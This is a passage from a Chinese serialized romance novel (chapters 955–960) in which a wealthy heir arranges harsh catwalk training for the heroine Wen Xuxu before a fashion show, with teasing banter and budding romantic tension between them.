他看着似是有些无语,此刻不知道要说什么好,目光带着点幽深的看着她,片刻后才轻叹一声。 “温小姐,这是认真的回答?”他向前倾了倾身,冷冽的气息裹着雪松香水的味道漫过来,继而又问,“韩城知道你这么抽象吗?” 温栩栩扬眉:“他不是比我更抽象吗。” 那倒是,不抽象这两人也玩不到一起去。 两个人,一个比一个的抽象。 黎云笙承认温栩栩说的没错,韩城抽象,他也抽象。 但现在他们要聊的好像并不是谁比谁更抽象的问题。 他向后靠在沙发背上,修长的双腿交叠,西裤的褶皱在灯光下泛着微光。 “温小姐的比喻总是这么生动。”他指尖有一搭没一搭的敲打着桌沿,声音里带着点危险的慵懒的提醒,“不过菠萝包可填不饱肚子,有时候现实需要的,是更实质的筹码。” 温栩栩此刻没有立刻回复黎云笙,而是冲了咖啡。 这里没有咖啡机和咖啡豆,她只有速溶咖啡,她便也给他喝速溶咖啡,没办法,没有更高档的货,只能暂时委屈这位黎少爷了。 泡好咖啡,一人一杯,她只有一个咖啡杯,所以黎云笙用的甚至是玻璃杯。 黎云笙:“……” 黎云笙这还是第一次用玻璃杯喝咖啡,觉得新奇的同时还有些无奈。 温栩栩并不在意他此刻的反应,而是兀自喝了口咖啡,又缓了片刻才有了回答。 温栩栩笑着回应:“可现在也没饿着肚子不是吗?” 她将咖啡杯轻轻放回桌面,暖光在她眼底跳跃,衬得那双眸子愈发澄亮,“我还没到穷途末路的时候,所以也不必放弃我所追求的理想化生活去迈向现实。我还年轻,我还能继续做做梦。”尾音微微上扬,带着年轻人特有的无畏与轻盈。 她的确还年轻,十八九岁的年纪,还嫩的只是花骨朵呢。 黎云笙的瞳孔在光影交错中暗了暗。 他盯着她这副模样,忽然轻笑出声,声音里却听不出多少温度。 “温小姐倒是活得通透。”他端起咖啡抿了一口。 他没喝过这种咖啡,微微皱了下眉,淡淡道,“只是这世道,向来不给做梦的人留太多余地。” 他忽然倾身向前,指尖点在她方才放下的咖啡杯边缘。 他的声音裹着寒意,却透着股漫不经心的残酷,“他教会你如何用玩笑粉饰锋芒,却没告诉你,现实的獠牙从不认什么理想主义——尤其是,当你的对手连你做梦的资格都要夺走时。” 温栩栩的脊背绷直了刹那。 黎云笙的话像一根银针刺破她刻意维持的轻松,她望着对方指节分明的手,忽然想起韩城曾嬉笑的时候说过,黎云笙最擅长的就是用温柔的刀剖开人心。 此刻他眼底的幽深,让她恍然察觉,这场对话从来不是玩笑,倒像是一场无声的迫人的博弈。 她还在恍惚中,男人却已经直起身。 “不过,既然你选择做梦……”他慢条斯理地整理袖口,唇角勾起一抹玩味的弧度,“那我倒是好奇,温小姐的梦,究竟能做多久。” 话音落下时,他已起身向门外走去,每一步都踩在温栩栩的心跳节奏上。 温栩栩还在呆愣之际,男人已经走到门口,撩起眼皮淡淡道:“跟我走,你需要联系台步。” 他低头看时间再抬头时又是在外那个冷酷的黎少。 他看着温栩栩,声音冷淡:“温小姐,你并没有太多时间可以浪费。” 第955章 这就怕了? 温栩栩这次是真的没磨蹭,转身想回房间换好衣服,下一秒就听男人淡淡道:“不用换,穿着去。” 温栩栩僵了一瞬:“百万的礼服裙,你让我就这样穿出门?” 黎云笙目光漫不经心扫过她身上那件华服:“衣服难道不是拿来穿的。” 理论上没错。 但百万的礼服裙,这哪是衣服,分明是行走的钞票堆砌的艺术品。 温栩栩觉得自己实在是有点受不起。 她扒着门框看他:“那个……要不我把衣服脱下来你带回去?”她试探着开口,手指已经悄悄摸向裙侧暗藏的拉链。 “……” 此时的沉默震耳欲聋。 黎云笙的眉头几不可察地动了动,像是被她的逻辑哽了一下。 “温栩栩,你是觉得我能穿?”他忽然轻笑出声,尾音带着点危险的弧度,“还是觉得我会将你穿过的礼服裙送给其她人?” 听到黎云笙回应的温栩栩又一阵沉默,很好,这的确是个问题。 是啊,堂堂黎家继承人要是真把二手礼服送人,估计明天头条就是《豪门丑闻!黎少癖好惊人,竟……》。她默默把拉链又给拉了回去。 “我……”她张了张嘴,却发现自己竟找不到反驳的言辞。 堂堂黎家继承人,真的送别人她穿过的礼服,真的会被笑死的。 温栩栩叹气,指尖无意识地绞着裙摆。她突然觉得自己像只误入珠宝店的仓鼠,被这身金光闪闪的行头压得抬不起头。 温栩栩叹气。 “那我真的穿过去了?黎少你以后不会让我赔钱的对吧。”温栩栩觉得这问题的答案还挺重要的,毕竟她是真的很穷,她自己那堆衣服里面上百块的都很少的。 黎云笙像是被她的问题问懵了一下,实在是不明白她是怎么能问出口的。 “温栩栩,我很穷吗?”黎云笙开口询问。 温栩栩觉得他这个问题真的是发自内心的。 “男人心海底针,不穷归不穷,但抠门归抠门,万一以后又让我赔钱呢……”她嘀咕着,声音越来越小,末了还心虚地偷瞄对方脸色。 黎云笙这次是真的被气笑了,结果下一秒温栩栩又开口:“要不你给我写个什么转让合同或者赠予文书?我看那些律师都是这么说的。” 他挑了下眉,步伐闲适地朝她走来。 温栩栩下意识后退半步,后背抵上门框,裙摆被挤得堆叠成蓬松的云絮。 “温栩栩。”他停在离她半步之遥的位置,指尖忽然抬起,不轻不重弹了弹她的眉心,“你真是好样的。” 黎云笙此刻的表情皮笑肉不笑的,温栩栩也猜不出这人到底是不是生气了。 温栩栩吃痛地捂住额头,瞪圆了眼睛。这人看着斯文矜贵,下手倒是半点不客气! “那你还出具那什么……赠予文书吗?”她揉着眉心又问,语气里带着点委屈。 黎云笙看她这副模样,眼底的笑意愈发深了。 他忽然倾身靠近,温热的呼吸扫过她耳畔:“要写也可以,不过——”他故意拖长尾音,手指若有似无擦过她鬓角垂落的碎发,“得加个附加条款。” “什么条款?”温栩栩警惕地后仰,裙摆又被门框勾住,差点踉跄着摔倒。 黎云笙眼疾手快扶住她手臂,指尖的温度透过薄纱礼服传来,让她后颈突然泛起一阵酥麻。 “附加条款就是——”他垂眸与她对视,漆黑的瞳孔里映着她仓皇的模样,“以后每次见我,都得穿不同的百万礼服。”? 有病? 黎云笙自然觉察出她眼神中的震惊。 “你知道,我很贵的。”他解释。 谢谢。 这就不必解释了,她看得出来。 温栩栩反应过来他在逗她。 她抬手拍开他扶着自己胳膊的手,却被他顺势扣住手腕。 “黎少这算盘珠子都蹦我脸上了。”她挣了挣手腕没挣脱,反被他带着往沙发方向走了两步,“先说好,下次再坑我穿高定,你得给我报销干洗费!” 黎云笙轻笑出声,松开了她的手。 他倚靠在门边,姿态慵懒得像只大型猫科动物:“还有问题吗?没有其它问题就跟我走。” 温栩栩摇摇头,再度走到男人身边,黎云笙挑眉低笑没忍住还是问了句:“温栩栩,你这抽象的脑回路,韩城知道吗?” 温栩栩:“……” “他跟我半斤八两。” 全都是搞抽象的各中好手。 黎云笙也觉得确实如此。 黎云笙带温栩栩走进帝城最顶尖的模特公司时,走廊里回荡着高跟鞋敲击大理石地面的清脆声响。 黎云笙带温栩栩去的是帝城数一数二的模特公司,当然也是黎氏旗下其中一家公司,到教室时这个时间还有几名新人正在接受训练,轮番从T台上走过,温栩栩只是在门口扒头看了看,就这么一下,台上已经有人台步出错,被导师教育大骂,看着现场有点惨烈。 温栩栩缩在他身后半步,望着来来往往的高挑模特,她们踩着十厘米细高跟如履平地,脖颈线条优雅如天鹅,举手投足间皆是教科书般的专业范儿。 “紧张了?”黎云笙忽然停下脚步,侧身看她。 他的嗓音裹着淡淡的笑意,指尖有意无意扫过她发顶,“这就怕了?” 温栩栩确实是有点慌,目光扫过前方训练室的透明玻璃墙。 训练室内,五名新人模特正在T台轮番展示,聚光灯将她们的身影投射得纤毫毕现。 最前方的女孩刚走到台中,导师的训斥声便如寒冰利箭般刺来: “肩膀端得像块石板!手臂摆动幅度超过三十度了吗?重来!” 女孩脸色煞白,踉跄着退回起点,高跟鞋在镜面地板上发出急促的嗒嗒声。 温栩栩看着导师手中的激光笔在女孩膝盖处来回扫射:“膝盖打弯的弧度不够精准,肌肉控制力差到这种程度,明天不用来上班了!” 训练室里的气压低得能凝出水来。 温栩栩的喉头滚动了一下,她忽然发现黎云笙正似笑非笑地看着自己,那眼神仿佛在说:你看,这就是我给你找的“惊喜”。 温栩栩回头看身边的黎云笙:“你让这位老师教我?” 黎云笙嗯了一声,尾音拖得慵懒:“显而易见。” 第956章 韩城知道你这么折腾她吗 “她在国外担任多年的艺术顾问,曾带出过国际上几位超模,这方面她是专家。”黎云笙解释。 确实,让这位黎少请人,只能请这种身价很高的,因为这位也看不上价低的,大概是认为配不上自己的身份。 “我觉得我可能会被她骂死。”温栩栩小声蛐蛐。 黎云笙轻笑出声,胸腔的震动隔着半步距离传来,带着某种恶劣的愉悦:“嗯,那我很期待。”? 还是人吗黎少! 温栩栩瞪圆了眼睛。 这人绝对是故意的!他难道不知道被专业导师骂到怀疑人生是什么体验吗?她甚至能想象自己被激光笔追着扫射的场景——膝盖弯度不够、胯部摆动角度偏差、连呼吸节奏不对都要被拎出来解剖! 他抬手示意保镖推开训练室的门,打断了对方:“Sara,这是新学员,温栩栩。” 温栩栩的瞳孔骤然收缩。 那位被称为Sara的导师此刻正背对他们,手中握着一支电子测距仪,听见声音后缓缓转身。 她戴着无框眼镜,短发如刀削般利落,西装套裙的剪裁完美贴合她近乎严苛的身材比例。 当目光扫向温栩栩时,温栩栩仿佛被X光穿透,她觉得那是一双能瞬间将人体骨骼与肌肉拆解分析的眼睛。 有点过于可怕了。 “黎少亲自送来的?”Sara尾音微微上扬,“这位小姐……似乎对台步的基本力学概念为零。” 温栩栩的脚趾抠紧了鞋底。 她当然为零!她这辈子走过最长的T台就是商场促销区的展示区。 温栩栩还在脑内风暴的时候对方已经走近。 Sara走到她面前,电子测距仪的红点突然精准地落在她锁骨下方:“站直。脊椎弯曲度超过健康范围,需要立即矫正。” 温栩栩立刻绷直脊背,礼服裙的深V领口瞬间向下滑了半寸,露出更多莹白肌肤。 黎云笙的视线若有似无掠过那片雪色,喉结微不可察地滚动了一下。 “黎少。”Sara忽然转向他,语气冷淡,“这位学员的身体协调性勉强达标,但肌肉记忆完全空白。若想达到商业走秀标准,需要为期三个月的密集训练,且每日需进行六小时动态姿势矫正。”? 她又不是专业模特! 温栩栩人都傻了。 “没有那么多时间,她不是专业模特,我只需要她明天参加星黛儿的服装秀,另外挑选一批跟她身高差不多的女模特明天一起参加走秀。” Sara微微皱眉:“我试试看。” “好,辛苦你了。”黎云笙话落却也并不离开,寻了训练室内的座位坐下。 Sara目光落在温栩栩脸上,上下打量了几眼。 “身材比例完美,腿也足够漂亮,皮肤白皙穿衣服并不会挑色,新人的话可以穿更华丽一些的衣服来勉强遮掩寄出台步。” Sara没再给的电子测距仪已经对准了她颤抖的膝盖。 “开始吧,温小姐。”导师的声音不带一丝温度,“我们没有多少时间。” 训练室的空调冷气似乎穿透了温栩栩的礼服裙,让她不由自主地打了个寒颤。 镜面地板映出她手足无措的模样,裙摆被她无意识地攥出褶皱,高跟鞋的鞋跟在地面上划出细小的划痕,仿佛自己都无法掌控自己的站姿了,她有点害怕摔倒。 Sara的测距仪红光精准锁定在她颤抖的膝盖上,镜片后的目光像一台精密仪器,将她的身体缺陷拆解成冰冷的数据:“脊椎前倾角度超标,肩胛骨外扩3厘米,步态重心偏移严重。如果不想在台上摔成笑话,最好现在就认真一点。” 温栩栩的喉咙发紧,余光瞥向斜倚在真皮沙发上的黎云笙。 他姿态慵懒,指尖摩挲着咖啡杯沿,仿佛眼前这场慌乱与他毫无关联。 又在喝咖啡,喝这么多咖啡,诅咒你今晚睡不着! 想到这里温栩栩觉得自己真的很可怜了,因为睡不着的不会是黎云笙,而是她自己。 她深吸一口气,试图用玩笑缓解紧绷的神经:“黎少,真不能换个温柔点的打脸方式?” 黎云笙轻笑出声,声线却裹着寒意:“温柔?” 他抬头,黑眸深处泛起危险的涟漪,“星黛儿这场秀有国际时尚主编在场,如果你走成丧尸步,星黛儿的股票明天就要跟着你一起跳水。相比之下,被Sara骂到哭,似乎是个更体面的选择。” 温栩栩的嘴角抽搐了一下。 这男人分明是在用糖衣包裹威胁! “有没有可能我说的换个温柔点的打脸方式是……别让我去走秀?就让星黛儿转发我的直播或者发一则声明不好吗?” 温栩栩说这话的时候明显带着点委屈。 黎云笙微笑:“不能,我比较倾向于这种。” 温栩栩不解。 “这种让你不舒服的。”他好心的说完了这句,以免温栩栩听不懂。 真的是好狠的心啊黎少。 她咬住下唇,余光瞥见Sara已经将一沓训练计划拍在桌上。 纸张上的字迹锐利,写着“紧急特训方案——0基础模特速成指南”,旁边用红笔圈出重点:“疼痛耐受训练:高跟鞋站立3小时,中途禁止坐下”。 “现在,把鞋脱了。”Sara的声音不带一丝温度,手中的激光笔突然指向墙面,“赤脚贴墙站立,脚跟、小腿、臀部、肩胛骨、后脑勺——五处必须紧贴镜面。任何一处偏离,加训半小时。” 温栩栩踉跄着照做,脚趾刚离开高跟鞋的束缚便酸痛难忍。 镜面映出她扭曲的姿势,仿佛每一块肌肉都在抗拒这种非人的约束。 Sara的测距仪在她身后游走,红点如审讯者的目光:“左肩下沉1.5厘米,调整。膝盖弯曲弧度不够,绷直!呼吸节奏混乱,吸气三秒,吐气五秒,重复。” 训练室的电子钟开始倒计时,温栩栩感觉自己像被困在慢镜头的噩梦里。 黎云笙的视线始终落在她身上,那目光不似怜悯,倒像在观察一件即将拍卖的艺术品。 她突然赌气般回头瞪他:“你就这么看着我被折磨?韩城知道你这么欺负人吗?” 第957章 现在你也被我蹭脏了 面对温栩栩的控诉,黎云笙慢悠悠抿了口咖啡,喉结滚动时带着蛊惑的性感:“他知道了又如何?你以为韩城真能管得住我?” 温栩栩撇嘴,韩城确实是管不住这位。 “我其实很好奇,想让你快速成长的话,是不是把你丢进鲨鱼池就能真的长出獠牙……”‘他尾音上扬,笑意却未达眼底,“不过现在看来,你离长出獠牙还差得远。” 温栩栩的耳尖瞬间涨红。 混蛋! 她咬牙瞪回去,却听见Sara的激光笔突然“嘀”的一声响起。 红光落在她微微松懈的肩胛骨上,导师的声音像冰锥刺入耳膜:“加训半小时。温小姐,你的专注力连新人标准都达不到。” “不公平!”温栩栩抗议,脚底板传来的刺痛几乎让她落泪,“你们根本是在故意整我!” Sara冷冷瞥向她:“整你?星黛儿的秀服价值七位数一件,你要是走秀时绊倒,赔得起吗?” 她突然抓起一把金属椅,椅背抵住温栩栩的脊背,“用这个当辅助,再站半小时。如果明天上台时还能让我听见骨头错位的声音,就直接滚出秀场,听说你也想进娱乐圈,你也不想以后没有任何时尚资源吧。” 训练室的空气仿佛凝固成冰。 温栩栩咬了咬唇,没再反驳。 理论上黎云笙这么做是在帮她,万一走秀后有人能帮她一把呢?或许有人真的会邀请她拍戏呢? 她总要把握好机会。 镜面映出她倔强的身影,脊背被金属椅压出青紫痕迹,却一寸一寸挺直如竹。 黎云笙的瞳孔深处掠过一丝暗芒,嘴角弧度渐深。 他忽然起身,将咖啡杯搁在桌上,声音低醇:“这才有点意思。” 半小时后温栩栩已经能够自如的走台步,训练室内的其他新人已经陆陆续续离开,只是还有人走近黎云笙,似乎是知道黎云笙的身份,笑吟吟的塞名片,黎云笙眸光淡漠并未接过,只是淡淡的看向温栩栩。 “她是我的女伴,你认为你比她更漂亮吗。” 女模特脸上的笑意僵住了,她转身看向温栩栩,温栩栩的台步虽然乱七八糟,但相貌确实是数一数二的,起码娱乐圈内少有能跟她匹敌的。 “黎少,真的不缺情人吗。”女模特也很看得开,她本也没想嫁入豪门,无非是想讨好黎云笙要点资源。 黎云笙眸光晦暗:“这位小姐,我以为你是聪明人,应该能听得出来我的画外音。” “需要我说的再清楚些?我对你没兴趣。” 半小时的魔鬼训练让温栩栩的额头沁满细汗,发梢黏在脖颈上,却再不是狼狈的模样。 她踩着高跟鞋在镜面地板上走动,台步已初具雏形,步伐节奏如鼓点般利落,脊背绷成优雅的弧线,仿佛被无形的手雕刻出了模特特有的冷冽气质。 训练室的其他新人陆续离开,高跟鞋的嗒嗒声渐次消散,唯有Sara的测距仪红光仍如鹰隼般锁定着她。 一名妆容精致的女模特却在此刻靠近黎云笙。 她身着露肩礼服,曲线玲珑,指尖夹着烫金名片,笑意盈盈地递向沙发上的男人:“黎少,我是新锐模特安娜,这是我的联系方式。” 她的目光掠过黎云笙冷峻的侧脸,这样的豪门掌权者,向来是名利场的最佳猎物。 黎云笙的眸光冰冷,他指尖未动,只淡淡斜睨向温栩栩。 训练中的少女正对着镜面调整摆臂角度,天鹅颈在汗水中泛着莹润的光,凌乱的发丝反倒衬得那张脸更加明艳。 他忽然轻笑,嗓音裹着寒意:“她是我的女伴。你认为你比她更漂亮吗?” 安娜脸上的笑意僵住了。 她转身看向温栩栩,少女的台步仍带着生涩的棱角,可那眉眼间的艳色却如淬火的玫瑰,娱乐圈顶尖的骨相皮相在汗水浸润下愈发夺目。 娱乐圈内能与她匹敌的容颜……确实屈指可数。 安娜的指甲掐进掌心,仍维持着得体的笑容:“黎少,您真不缺情人吗?我只是想讨教些资源罢了。”安娜迅速调整姿态,笑意重新攀上脸颊,却添了几分直白的挑逗,“您若看得上眼……”她指尖有意无意掠过黎云笙的袖口,却被对方不动声色地避开。 安娜脸色变了。 黎云笙忽地倾身向前,指尖有意无意掠过安娜递出的名片,却并未触碰:“这位小姐,我以为你是聪明人。”他停顿的刹那,训练室的空气仿佛凝固,安娜的礼服肩带无端滑落一寸,“应该能听得出来我的画外音。” 他忽地直起身,将她的名片推回,语调轻描淡写:“需要我说得更清楚些?我对你没兴趣。” 安娜的耳尖瞬间涨红,退步时高跟鞋差点绊住裙摆。 安娜仓惶的逃跑,显然是觉得丢脸。 温栩栩在镜面中目睹这一切,台步节奏不自觉乱了半拍。 Sara在一旁拍了拍手:“现在节奏就很不错,身体摇摆的幅度需要稍微控制一些,眼神要在冷漠一点,算了,也可以不冷漠,你本也不是专业,你可以笑,用你这张漂亮脸蛋儿迷惑那些观众。” Sara终于给了温栩栩休息的时间,她并没有立刻坐下,而是站立着弯腰揉捏着小腿和大腿,以免形成难看的肌肉腿,这不符合她的美学。 等捏够了,她才用毛巾擦拭着脸上的汗。 训练室内只有黎云笙坐的真皮沙发,没有其他可以休息的地方,她也没多想的走过去,只想休息片刻。 黎云笙却拒绝与她共享沙发。 “或许你可以坐在地上。”他冷淡回应。 温栩栩被他这话噎了一下:“黎少你不要太过分。” “可你现在很脏。”他说到这里时很明显的皱了下眉。 “哪里脏了!”温栩栩不服。 “汗水就是很脏。”他看着有洁癖,温栩栩觉得这人就是拧巴。 温栩栩瞪他一眼,然后突然贴近,两条手臂抱住他的脖子,离得这样近,他还能闻到她身上淡淡的香气,她就算流了汗身上也还是香的。 他晃了下神,温栩栩便笑眯眯的移开身体:“现在你也被我蹭脏了。” 哪里是什么引诱,就是最纯粹的报复。 第958章 黎云笙,大魔王 “你应该已经休息够了,休息够了就继续练习。”黎云笙移开目光,免得和她完全对视再看到她狡黠含笑的眼神。 温栩栩看他的眼神都像是在看魔鬼了。 “我都还没有坐下休息你就让我继续练习,黎少你本姓应该姓周才对吧,周扒皮。” 周扒皮黎:“?” 温栩栩也不管他说什么,自己直接坐到他身旁捏了捏自己的腿。 她自己都不知道自己哪里来的胆子,就是有种错觉,觉得黎云笙不会真的把她丢到地上。 第六感告诉她,他不会。 离得这么近,他本该生气或者暴怒直接离开,但因为是她,他并没有生气,只是觉得自己这样有些过于古怪,就好像在迁就温栩栩一样。 温栩栩说坐就坐,直接挪到黎云笙身侧的沙发边缘。 她身上那套礼服早就换掉了,此刻身上穿着贴身的训练服,布料随着动作微微收缩,露出一小截纤细的脚踝。 或许是刚练完步态,她的呼吸还带着轻喘,发梢沾着薄汗,在灯光下泛着些许莹润的光泽。 黎云笙的喉结无声滚动了一下。 他原本应该发怒的,这个不知天高地厚的女人竟敢拿他比作周扒皮。 可此刻,她近在咫尺,连发间淡淡的柑橘香都清晰可闻。 她的脊背弯成慵懒的弧度,捏着酸痛小腿的手指像猫爪般无意识揉搓,布料下肌肉的线条随着动作起伏。 黎云笙的视线不受控地落下去,她脖颈处的肌肤白得近乎透明,锁骨窝陷在阴影里,却又性感的一塌糊涂。 他能记起自己抱住她时她的身体有多柔软。 只是想一想,就有了几分渴望。 “周扒皮?”他哑声重复,尾音带着自己都未察觉的紧绷。 温栩栩正仰头看他,眼尾被热气熏得泛红,睫毛上还挂着细小的汗珠。 这双眼睛总让他想起某种狡黠的猫科动物,此刻却蒙了层湿漉漉的雾气。 她忽然抬手擦了擦汗,手臂擦过他膝盖时带起一阵痒意,像是羽毛扫过火苗。 黎云笙的指节在沙发扶手上无意识收紧。 离得这样近,他只要微微低头,就能看见她胸口那片柔软被布料勒出的弧度。 训练室的空调风声变得格外清晰,他忽然意识到,自己竟没有立刻起身离开。 往常若有旁人靠近他半臂距离,他早已冷了脸色。 温栩栩浑然不觉危险。 她揉完腿,索性将整个身子斜倚向沙发靠背,布料下滑,露出更多雪白肩颈。 黎云笙的瞳孔猛地缩紧,像是被烫到般别开眼。 可他越克制,那些画面越在脑海中疯长。 她若仰起头,那弧度会更明显,她若再靠近一寸,他的呼吸会彻底紊乱。 某种陌生的燥热从脊背窜起,烧得他喉间发紧。 “继续练习。”他忽然起身,冷冰冰的撂下这句话。 “这就走了?好无趣啊。” 温栩栩哼哼一声整个人继续懒洋洋的窝在沙发上,甚至完全占据了方才黎云笙的位置,用占据这个词好像不太妥帖,应该说是“霸占”。 她就真的跟那些胆子大的猫咪一样,完全不惧怕他,甚至霸占他的领地。 实在嚣张,却让人生不起气。 温栩栩还在得意,眼睛都弯弯的,眼底全是狡黠,可见方才就是故意赶走了黎云笙。 温栩栩整个人像一团蓬松的棉花糖似的瘫进沙发深处。 她将双腿随意搭在扶手上晃荡,甚至把黎云笙的金丝绒抱枕搂进怀里,霸占主人位置的温猫咪此刻毛茸茸的尾巴还在半空得意地摇晃。 沙发凹陷处被她压出绵软的痕迹,连空气里都沾染上她身上淡淡的柑橘香。 这分明是黎云笙专属的休息区,她却堂而皇之地将他的雪松气息挤到角落。 可下一秒,温栩栩笑不出来了。 因为黎云笙的保镖搬了新的沙发进来,那沙发通体采用意大利进口真皮,饱满的羽绒填充比原先的款式宽大两倍,她觉得自己跳上去在沙发上滚圈圈都是可以的。 过分了吧? 她不就抢了她的沙发吗?至于这么报复吗? “至于吗?不就抢了你十分钟沙发使用权!” 温栩栩气鼓鼓地抗议,腮帮子像塞满棉花糖般鼓囊囊的。 温栩栩不服,甚至鼓着嘴巴瞪他,好似还跃跃欲试要去抢他的新沙发。 保镖又搬了新的桌子调试好高度,为黎云笙泡好咖啡。 温栩栩看看那杯咖啡哼哼:“一直喝咖啡,黎少你今晚不用睡觉了。” 黎云笙面无表情的喝了口咖啡,抬眸扫她一眼:“有这时间还是担心担心你自己,Sara可不是好糊弄的。” 他是可以睡但选择不睡,温栩栩不一样,她没得选。 所以谁惨一目了然。 可恶啊。 大魔王。 她垮下肩膀,不甘心地蜷缩回旧沙发里,活像被雨水打蔫的蒲公英。 温栩栩又瞪他,从自己沙发上“蹭”地跳起来,像只灵巧的小鹿飞奔到黎云笙面前。 黎云笙抬眸看她一眼,似是不解她跑过来想做什么。 她故意用鞋尖蹭了蹭他新沙发昂贵的真皮边缘,挑衅的弧度从睫毛一路蔓延到翘起的嘴角。 黎云笙抬眸看她,漆黑的瞳孔里映着她晃动的发梢。 那模样活脱脱像是幼儿园里抢玩具的小朋友,明知不该却偏要试探大人的底线。 结果下一秒,温栩栩“噗通”一声整个人扑到他沙发中央,四肢大喇喇地摊开,把整张沙发震出轻微的颤动。 “哼,有本事你继续换沙发啊!”她得意地晃着腿。 黎云笙的眼皮跟着跳了跳,指节在扶手上无声叩了两下。 突然,他抬手扣住她后腰的衣料,像拎小猫似的轻松把人提起来。 温栩栩惊呼着蹬腿,发尾扫过他手腕内侧的薄茧,却意外发现那力道虚虚的。 他分明是故意松着掌心,怕弄皱她裙摆上的蕾丝。 “黎云笙……”她悬在半空瞪圆眼睛,正要发作,却被他轻巧地“放”回地面。 那双总裹着冰霜的眸子此刻竟染上薄笑,指尖还残留着她腰间的温度。 温栩栩跺脚,转头却发现保镖正憋笑低头,耳尖悄悄泛红。 第959章 你这张嘴,真是能要人命 她气鼓鼓地转身要跑,却被黎云笙忽然扬声叫住:“再闹,你今晚真的不用睡了。” 话音未落,某人炸毛的背影已窜回旧沙发,抱枕堆成堡垒,只露出一双滴溜溜转的眼睛,像只警惕又好奇的猫。 剥夺睡眠权利什么的,温栩栩不可以。 温栩栩大概也就瘫在沙发上休息了二十分钟,Sara已经打算让她继续训练。 温栩栩还在T台练习台步。 暖黄的灯光下,她踩着细高跟重新踏上T台,天鹅般的脖颈优雅扬起,每一步都精准踩在节奏点上。 镜面地板映出她摇曳的倒影,仿佛一株在风中舒展的玉兰,独有自己的风采。 "黎总真是慧眼识珠。"Sara眯起眼打量温栩栩流畅的台步,"这姑娘骨骼轻盈得像蝴蝶,转身时的气场又似猎豹,如果身高再拔高五公分,她完全能驾驭国际秀场那些需要碾压式气场的华服大秀,实在是很有天分。" “最初没有任何训练轨迹,但这么短时间内有这样的成色,上了T台能有自己的风格,实在是……很难得,再加上那张惊人美貌的面容,再高几公分那就是模特天后了。” Sara对温栩栩很是喜欢。 黎云笙眸色淡淡的看着在T台上联系走秀的温栩栩,对方还趁着Sara此刻没有看着她故意做鬼脸。 黎云笙摩挲着袖口暗纹,目光始终胶着在台上那道灵动身影上,此刻轻啧一声:“她不是模特圈的,以后会进娱乐圈,如果你有心,以后可以给她些高奢时尚资源。” Sara有一种果然如此的感觉。 “确实,她那张脸,更适合娱乐圈才是。”Sara如此评价。 温栩栩练习了四个小时就颇有成效,只要第二天不怯场就绝不会出问题。 Sara怕她紧张还为她提前试过了第二天的衣服,让她走了一圈看如何表现,就像她说的,温栩栩是吃这碗饭的,走起台步也是轻盈漂亮的那种,很是惹眼。 让她练习到这种程度已经足够了,时间再久怕她的腿和脚受不住,影响明天的发挥。 等Sara离开,温栩栩终于又栽到沙发上,整个人懒洋洋,看着像是累惨了。 温栩栩如融化的糖浆般瘫进沙发深处。 她蜷成毛团的模样实在可爱,发梢凌乱地散落,手臂环住膝盖,脚趾却不安分地翘起,像小猫舒展肉垫时俏皮的弧度。整个人缩成一团的样子。 更像猫咪了,猫咪才会这样抱团。 黎云笙深深的看她一眼,温栩栩却没注意他此刻的眼神,她踢掉高跟鞋,揉着的脚,只觉得脚底酸软发疼。 此刻她连惫懒的姿态都透着勾人的韵律,裸露的脚踝泛着莹润光泽,指腹按压足弓时,那些漂亮的骨节便随着力度起伏,像是在勾人。 她的脚趾很漂亮,她好像就是天生的美人,是哪里都会精致漂亮那种,就是脚都是莹润性感的类型。 她却浑然不觉地嘟囔:"这鞋跟简直要人命……" 声音里裹着撒娇的绵软,尾音拖得又长又糯。 但温栩栩不觉得自己在勾人,因为她平日里就是这么讲话的。 黎云笙眸光微暗几分,他低头看了下时间。 “你还有大概四个小时的休息时间,我在这边酒店定了房间,明早会有人去叫你。” 温栩栩又哼哼一声,其实她也不想这么哼哼的,就是没控制住,天知道她为什么会在黎云笙面前软成这样,她真的一点都不想这样。 好丢脸的感觉。 黎云笙倒是并没有在意,递给她一张房卡,是秀场对面的星级酒店,黎云笙是早有准备。 房卡撞进掌心的刹那,她突然鬼使神差地脱口而出:"这架势,倒像是包养金丝雀的流程。" 话音未落,自己先被烫到了似的咬住嘴唇。 脸颊泛起可疑的薄红,她慌忙用发梢遮住半边脸,却忘了这动作只会让脖颈线条更显纤细脆弱。 黎云笙:“……” 黎云笙的眉峰微妙地挑起。 他凝着她这副鸵鸟似的模样,开口:“所以你肯吗?” 这话题早就已经过去了,温栩栩一定要提到这一茬,黎云笙实在是被气笑了。 “我没说要被你包,我就是说你现在的行为,给我递房卡的行为……”温栩栩说着说着忍不住笑起来。 黎云笙盯着她看,温栩栩立刻轻咳一声:“我开玩笑的,帝城圈子上流圈子里谁不知道黎少最是洁身自好的。” “那是以前。”黎云笙忽然逼近半步,西装革履的压迫感裹挟着雪松香逼近。他俯视着她强装镇定的眉眼然后缓缓开口:“托温小姐的福,因为温小姐随口胡诌的那些,让圈子里以为温小姐是我的情人,哦,还要被人猜忌是不是跟你有了私生子,真是万分感谢温小姐。” 温栩栩:“……不客气……” 这话题真是越来越要命的节奏。 黎云笙轻啧一声,温栩栩觉得他好像在嘲讽自己。 她耳尖瞬间烧起来,后退半步却撞上沙发扶手,整个人像受惊的猫崽般蜷缩起来。 "都是误会……"她含糊其词,手指绞着裙摆的流苏,"大不了……大不了我公开澄清!" 黎云笙看着她这副自乱阵脚的模样,他屈指轻弹她额间碎发,动作熟稔得像做过千百遍:"你这张嘴,真是能要人命。" 温栩栩的瞳孔骤然放大,那根手指的温度仿佛烙在皮肤上。 她慌忙夺过房卡,逃也似的往电梯方向奔去,背影活像只被踩到尾巴的狐狸。 走廊的感应灯在她身后逐一亮起,黎云笙望着那抹仓皇逃窜的倩影,笑意渐染上眼底。 他慢条斯理地抚平袖口褶皱,唇角弧度渐深。 有时候逗一逗猫,还是挺有意思的。 温栩栩并不知道自己被黎云笙当成猫逗弄了,她冲进酒店,后背抵上床垫的瞬间,身体突然僵住了。 黎云笙提及包养的话题,还有他说过的那些话好像此刻在耳畔炸响,尾音带着钩子似的,将她思绪搅得一团乱麻。 脸颊不受控制腾地烧起来,热意从耳尖蔓延到脖颈,仿佛有人往血管里倒了滚酒。 第960章 长点心不要成为他的点心 温栩栩整个人蜷进被窝,却像被烫了似的弹起来。 丝绸被面滑过肌肤,激起一阵战栗。 手指无意识绞着床单,脑海中浮现黎云笙俯视她时那双深潭般的眸子,幽光里藏着戏谑与深意,像是猎人看着落入陷阱的雀儿,却又偏偏递来一截橄榄枝,看她要从陷阱逃出来的时候又面无表情的把她重新戳到陷阱中。 “他在逗弄我……她气鼓鼓地翻身。 